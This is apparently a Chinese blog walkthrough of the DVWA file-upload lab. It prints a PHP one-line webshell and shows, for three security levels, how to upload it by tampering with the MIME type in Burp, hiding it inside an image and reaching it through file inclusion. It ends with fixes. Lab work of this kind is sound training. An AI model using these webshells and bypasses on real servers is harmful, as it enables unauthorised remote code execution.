DVWA--file upload (文件上传)

风险

对上传的文件类型,内容没有进行严格的过滤、检查,使攻击者可以上传木马获取服务器webshell权限。

low

查看代码,对上传文件没有做任何的过滤措施 basename(path,suffix)函数: 全局数组 $_FILES: move_uploaded_file() 函数:

1. 写一句话木马1.php上传

<?php   @eval($_POST[hello]);  ?>

2. 上传成功,给出了上传文件路径,访问获取到上传文件路径

http://127.0.0.1/DVWA-master/hackable/uploads/1.php

3. 使用蚁剑连接一句话木马,连接成功

medium

查看代码:增加了MIME校验,只允许上传MIME类型(Content-Type请求头)为image/jpeg或image/png的文件。 1. 直接上传1.php,提示上传失败,只能上传文件类型为JPEG和PNG格式的文件 2. 将1.php文件后缀名改为.png(或.image),上传1.png文件并用burp抓包,将包发到repeater 3. 在repeater中修改filename参数值从sh.png修改为sh.php,点send,从response中可以看到文件上传成功,并返回了保存路径。 4. 蚁剑连接一句话木马,连接成功

high

查看代码,是通过字符串匹配来确定文件后缀名,并且查看文件的相关参数,提高了过滤的强度。 substr () 函数: strrpos () 函数: strtolower () 函数: getimagesize 函数:

1. 由于源码会去检查文件头,php文件上传不成功 2. 制作图马文件,把一句话木马放在一张图片中(可以绕过 getimagesize 函数的检测)

copy 1.png/b+1.php/a 2.png

3. 然后直接上传,网页提示上传成功。 4. 绕过对后缀的检测,这里暂时无法绕过检测,可借助 文件包含或者命令执行漏洞 来进一步 Getshell 下面演示文件包含漏洞

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file://D:/AAAARJ/phpStudy/PHPTutorial/WWW/DVWA-master/hackable/uploads/2.png

5. 蚁剑连接一句话木马,连接成功

修复

    不要在前端使用JS实施上传限制策略; 通过服务端对上传文件进行限制: (1)进行多条件组合检查:比如文件大小,路径,扩展名,文件类型,完整性; (2)对上传的文件在服务器上存储时进行重命名(执行合理的命名规则); (3)对服务器端上传文件的目录进行权限控制(比如只读),限制执行权限带来的危害;

炒鸡详细文件上传漏洞总结:

经验分享 程序员 微信小程序 职场和发展